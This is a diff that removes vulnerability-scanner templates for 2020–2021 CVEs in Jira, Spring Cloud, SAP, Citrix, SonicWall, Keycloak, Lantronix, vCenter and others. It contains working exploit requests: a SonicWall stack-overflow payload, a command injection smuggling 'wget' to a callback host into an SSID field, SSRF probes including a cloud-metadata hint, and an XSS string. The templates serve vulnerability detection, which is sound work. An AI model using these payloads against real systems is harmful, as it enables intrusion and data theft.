-  description: Affected versions of Atlassian Jira Server and Data Center allow an unauthenticated user to enumerate users via an Information Disclosure vulnerability in the QueryComponentRendererValue!Default.jspa endpoint. The affected versions are before version 8.5.13, from version 8.6.0 before 8.13.5, and from version 8.14.0 before 8.15.1.
-  reference:
-    - https://twitter.com/ptswarm/status/1402644004781633540
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-36289
-    - https://jira.atlassian.com/browse/JRASERVER-71559
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 5.3
-    cve-id: CVE-2020-36289
-    cwe-id: CWE-200
-  metadata:
-    shodan-query: http.component:"Atlassian Jira"
-  tags: cve,cve2020,jira,atlassian,unauth
-
-requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin'
-      - '{{BaseURL}}/jira/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin'
-
-    stop-at-first-match: true
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - 'rel=\"admin\"'
-
-      - type: word
-        part: header
-        words:
-          - 'application/json'
-
-      - type: status
-        status:
-          - 200

cves/2020/CVE-2020-5412.yaml

@@ -1,39 +0,0 @@
-id: CVE-2020-5412
-
-info:
-  name: Full-read SSRF in Spring Cloud Netflix (Hystrix Dashboard)
-  author: dwisiswant0
-  severity: medium
-  description: Spring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1.6, and older unsupported versions allow applications to use the Hystrix Dashboard proxy.stream endpoint to make requests
-    to any server reachable by the server hosting the dashboard. A malicious user, or attacker, can send a request to other servers that should not be exposed publicly.
-  reference:
-    - https://tanzu.vmware.com/security/cve-2020-5412
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
-    cvss-score: 6.5
-    cve-id: CVE-2020-5412
-    cwe-id: CWE-610
-  tags: cve,cve2020,ssrf,springcloud
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/proxy.stream?origin=http://{{interactsh-url}}"
-
-      # To get crithit, try http://169.254.169.254/latest/metadata/
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: interactsh_protocol
-        words:
-          - "http"
-
-      - type: word
-        part: header
-        words:
-          - "Jelly"
-
-      - type: status
-        status:
-          - 200

cves/2020/CVE-2020-5775.yaml

@@ -1,27 +0,0 @@
-id: CVE-2020-5775
-
-info:
-  name: Canvas LMS Unauthenticated Blind SSRF
-  author: alph4byt3
-  severity: medium
-  description: Server-Side Request Forgery in Canvas LMS 2020-07-29 allows a remote, unauthenticated attacker to cause the Canvas application to perform HTTP GET requests to arbitrary domains.
-  reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-5775
-    - https://www.tenable.com/security/research/tra-2020-49
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
-    cvss-score: 5.8
-    cve-id: CVE-2020-5775
-    cwe-id: CWE-918
-  tags: cve,cve2020,ssrf,oast,blind,tenable
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/external_content/retrieve/oembed?endpoint=http://{{interactsh-url}}&url=foo"
-
-    matchers:
-      - type: word
-        part: interactsh_protocol # Confirms the HTTP Interaction
-        words:
-          - "http"

cves/2020/CVE-2020-6308.yaml

@@ -1,39 +0,0 @@
-id: CVE-2020-6308
-
-info:
-  name: SAP - Unauthenticated Blind SSRF
-  author: madrobot
-  severity: medium
-  description: |
-   SAP BusinessObjects Business Intelligence Platform (Web Services) versions - 410, 420, 430, allows an unauthenticated attacker to inject arbitrary values as CMS parameters to perform lookups on the internal network which is otherwise not accessible externally. On successful exploitation, attacker can scan internal network to determine internal infrastructure and gather information for further attacks like remote file inclusion, retrieve server files, bypass firewall and force the vulnerable server to perform malicious requests, resulting in a Server-Side Request Forgery vulnerability.
-  reference:
-    - https://github.com/InitRoot/CVE-2020-6308-PoC
-    - https://launchpad.support.sap.com/#/notes/2943844
-    - https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=558632196
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 5.3
-    cve-id: CVE-2020-6308
-    cwe-id: CWE-918
-  tags: cve,cve2020,sap,ssrf,oast,unauth
-
-requests:
-  - raw:
-      - |
-        POST /AdminTools/querybuilder/logon?framework= HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        aps={{interactsh-url}}&usr=anything&pwd=anything&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: interactsh_protocol # Confirms the DNS Interaction
-        words:
-          - "dns"
-
-      - type: word
-        part: location
-        words:
-          - "{{BaseURL}}/AdminTools/querybuilder/logonform.jsp"

cves/2020/CVE-2020-8194.yaml

@@ -1,39 +0,0 @@
-id: CVE-2020-8194
-
-info:
-  name: Citrix ADC & NetScaler Gateway Reflected Code Injection
-  author: dwisiswant0
-  severity: medium
-  description: Reflected code injection in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and
-    10.2.7 allows the modification of a file download.
-  reference:
-    - https://support.citrix.com/article/CTX276688
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
-    cvss-score: 6.5
-    cve-id: CVE-2020-8194
-    cwe-id: CWE-94
-  tags: cve,cve2020,citrix
-
-requests:
-  - raw:
-      - |
-        GET /menu/guiw?nsbrand=1&protocol=nonexistent.1337">&id=3&nsvpx=phpinfo HTTP/1.1
-        Host: {{Hostname}}
-        Cookie: startupapp=st
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - "<jnlp codebase=\"nonexistent.1337\">"
-        part: body
-
-      - type: word
-        words:
-          - "application/x-java-jnlp-file"
-        part: header
-
-      - type: status
-        status:
-          - 200

cves/2020/CVE-2020-8497.yaml

@@ -1,36 +0,0 @@
-id: CVE-2020-8497
-
-info:
-  name: Artica Pandora FMS - Arbitrary File Read
-  author: gy741
-  severity: medium
-  description: In Artica Pandora FMS through 7.42, an unauthenticated attacker can read the chat history. The file is in JSON format and it contains user names, user IDs, private messages, and timestamps.
-  reference:
-    - https://k4m1ll0.com/cve-2020-8497.html
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-8497
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 5.3
-    cve-id: CVE-2020-8497
-    cwe-id: CWE-306
-  tags: cve,cve2020,fms,artica
-
-requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}/pandora_console/attachment/pandora_chat.log.json.txt'
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - '"type"'
-          - '"id_user"'
-          - '"user_name"'
-          - '"text"'
-        condition: and
-
-      - type: status
-        status:
-          - 200

cves/2021/CVE-2021-20038.yaml

@@ -1,39 +0,0 @@
-id: CVE-2021-20038
-
-info:
-  name: SonicWall SMA100 Stack - Buffer Overflow/Remote Code Execution
-  author: dwisiswant0, jbaines-r7
-  severity: critical
-  description: A Stack-based buffer overflow vulnerability in SMA100 Apache httpd server's mod_cgi module environment variables allows a remote unauthenticated attacker to potentially execute code as a 'nobody' user in the appliance. This vulnerability affected SMA 200, 210, 400, 410 and 500v appliances firmware 10.2.0.8-37sv, 10.2.1.1-19sv, 10.2.1.2-24sv and earlier versions.
-  reference:
-    - https://attackerkb.com/topics/QyXRC1wbvC/cve-2021-20038/rapid7-analysis
-    - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-20038
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2021-20038
-    cwe-id: CWE-787
-  tags: cve,cve2021,overflow,rce,sonicwall,kev
-
-requests:
-  - raw:
-      - |
-        GET /{{prefix_addr}}{{system_addr}};{wget,http://{{interactsh-url}}};{{prefix_addr}}{{system_addr}};{wget,http://{{interactsh-url}}};?{{repeat("A", 518)}} HTTP/1.1
-        Host: {{Hostname}}
-
-    attack: clusterbomb
-    payloads:
-      prefix_addr:
-        - "%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf"  # stack's top address
-      system_addr:
-        - "%08%b7%06%08"  # for 10.2.1.2-24sv
-        - "%64%b8%06%08"  # for 10.2.1.1-1[79]sv
-
-    matchers:
-      - type: word
-        part: interactsh_protocol  # Confirms the HTTP Interaction
-        words:
-          - "http"
-
-# Enhanced by mp on 2022/04/29

cves/2021/CVE-2021-20323.yaml

@@ -1,54 +0,0 @@
-id: CVE-2021-20323
-
-info:
-  name: Keycloak < 18.0.0 - Cross Site Scripting
-  author: ndmalc
-  severity: medium
-  description: |
-    Keycloak before 18.0.0 and after 10.0.0 allows a reflected XSS on client-registrations endpoint. On POST request, when a request is submitted, the application does not sanitize unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as html. This can be performed on any realm present on the Keycloak instance. Currently, due to the bug requiring Content-Type application/json and is submitted via a POST, there is no common path to exploit that have a user impact.
-  reference:
-    - https://github.com/keycloak/keycloak/security/advisories/GHSA-m98g-63qj-fp8j
-    - https://bugzilla.redhat.com/show_bug.cgi?id=2013577
-    - https://access.redhat.com/security/cve/CVE-2021-20323
-    - https://github.com/ndmalc/CVE-2021-20323
-    - https://github.com/keycloak/keycloak/commit/3aa3db16eac9b9ed8c5335ac86f5f50e0c68662d
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-20323
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.1
-    cve-id: CVE-2021-20323
-    cwe-id: CWE-79
-  metadata:
-    shodan-query: html:"Keycloak"
-    verified: "true"
-  tags: cve,cve2021,keycloak,xss
-
-requests:
-  - method: POST
-    path:
-      - "{{BaseURL}}/auth/realms/master/clients-registrations/default"
-      - "{{BaseURL}}/auth/realms/master/clients-registrations/openid-connect"
-      - "{{BaseURL}}/realms/master/clients-registrations/default"
-      - "{{BaseURL}}/realms/master/clients-registrations/openid-connect"
-
-    headers:
-      Content-Type: application/json
-
-    body: "{\"Test<img src=x onerror=alert(document.domain)>\":1}"
-
-    stop-at-first-match: true
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - 'Unrecognized field "Test<img src=x onerror=alert(document.domain)>'
-
-      - type: word
-        part: header
-        words:
-          - text/html
-
-      - type: status
-        status:
-          - 400

cves/2021/CVE-2021-21311.yaml

@@ -1,40 +0,0 @@
-id: CVE-2021-21311
-
-info:
-  name: Adminer <4.7.9 - Server-Side Request Forgery
-  author: Adam Crosser
-  severity: high
-  description: Adminer from version 4.0.0 through 4.7.8 is susceptible to server-side request forgery due to its use of verbose error messages. Users of Adminer versions bundling all drivers (e.g. `adminer.php`) are affected.
-  reference:
-    - https://github.com/vrana/adminer/security/advisories/GHSA-x5r2-hj5c-8jx6
-    - https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf
-    - https://packagist.org/packages/vrana/adminer
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-21311
-  remediation: Upgrade to version 4.7.9 or later.
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
-    cvss-score: 7.2
-    cve-id: CVE-2021-21311
-    cwe-id: CWE-918
-  metadata:
-    shodan-query: title:"Login - Adminer"
-  tags: cve,cve2021,adminer,ssrf
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/adminer?elastic=interact.sh&username="
-
-    matchers-condition: and
-    matchers:
-
-      - type: word
-        part: body
-        words:
-          - "&lt;title&gt;400 - Bad Request&lt;/title&gt;"
-
-      - type: status
-        status:
-          - 403
-
-# Enhanced by mp on 2022/06/27

cves/2021/CVE-2021-21816.yaml

@@ -1,35 +0,0 @@
-id: CVE-2021-21816
-
-info:
-  name: D-Link DIR-3040 - Syslog Information Disclosure
-  author: gy741
-  severity: medium
-  description: An information disclosure vulnerability exists in the Syslog functionality of D-Link DIR-3040 1.13B03. A specially crafted network request can lead to the disclosure of sensitive information. An attacker
-    can send an HTTP request to trigger this vulnerability.
-  reference:
-    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1281
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
-    cvss-score: 4.3
-    cve-id: CVE-2021-21816
-    cwe-id: CWE-922
-  tags: cve,cve2021,dlink,exposure,router,syslog
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/messages"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - "syslog:"
-          - "admin"
-          - "/etc_ro/lighttpd/www"
-        part: body
-        condition: and
-
-      - type: status
-        status:
-          - 200

cves/2021/CVE-2021-21881.yaml

@@ -1,42 +0,0 @@
-id: CVE-2021-21881
-
-info:
-  name: Lantronix PremierWave 2050 8.9.0.0R4 - Remote Command Injection
-  author: gy741
-  severity: critical
-  description: Lantronix PremierWave 2050 8.9.0.0R4 contains an OS command injection vulnerability. A specially-crafted HTTP request can lead to command in the Web Manager Wireless Network Scanner. An attacker can make an authenticated HTTP request to trigger this vulnerability.
-  reference:
-    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1325
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-21881
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
-    cvss-score: 9.9
-    cve-id: CVE-2021-21881
-    cwe-id: CWE-78
-  tags: cve,cve2021,lantronix,rce,oast,cisco
-
-requests:
-  - raw:
-      - |
-        POST / HTTP/1.1
-        Host: {{Hostname}}
-        Authorization: Basic dXNlcjp1c2Vy
-        Content-Type: application/x-www-form-urlencoded
-
-        ajax=WLANScanSSID&iehack=&Scan=Scan&netnumber=1&2=link&3=3&ssid="'; wget http://{{interactsh-url}} #
-
-      - |
-        POST / HTTP/1.1
-        Host: {{Hostname}}
-        Authorization: Basic YWRtaW46UEFTUw==
-        Content-Type: application/x-www-form-urlencoded
-
-        ajax=WLANScanSSID&iehack=&Scan=Scan&netnumber=1&2=link&3=3&ssid="'; wget http://{{interactsh-url}} #
-
-    matchers:
-      - type: word
-        part: interactsh_protocol # Confirms the HTTP Interaction
-        words:
-          - "http"
-
-# Enhanced by mp on 2022/05/05

cves/2021/CVE-2021-21973.yaml

@@ -1,39 +0,0 @@
-id: CVE-2021-21973
-
-info:
-  name: VMware vCenter Unauthenticated SSRF
-  author: pdteam
-  severity: medium
-  description: The vSphere Client (HTML5) contains an SSRF (Server Side Request Forgery) vulnerability due to improper validation of URLs in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue by sending a POST request to vCenter Server plugin leading to information disclosure. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
-  reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2021-21973
-    - https://twitter.com/osama_hroot/status/1365586206982082560
-    - https://twitter.com/bytehx343/status/1486582542807420928
-    - https://www.vmware.com/security/advisories/VMSA-2021-0002.html
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 5.3
-    cve-id: CVE-2021-21973
-    cwe-id: CWE-918
-  tags: cve,cve2021,vmware,ssrf,vcenter,oast,kev
-
-requests:
-  - raw:
-      - |
-        GET /ui/vropspluginui/rest/services/getvcdetails HTTP/1.1
-        Host: {{Hostname}}
-        Vcip: {{interactsh-url}}
-        Vcpassword: {{rand_base(6)}}
-        Vcusername: {{rand_base(6)}}
-        Reqresource: {{rand_base(6)}}
-
-    matchers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 500
-
-      - type: word
-        part: body
-        words:
-          - "The server sent HTTP status code 200"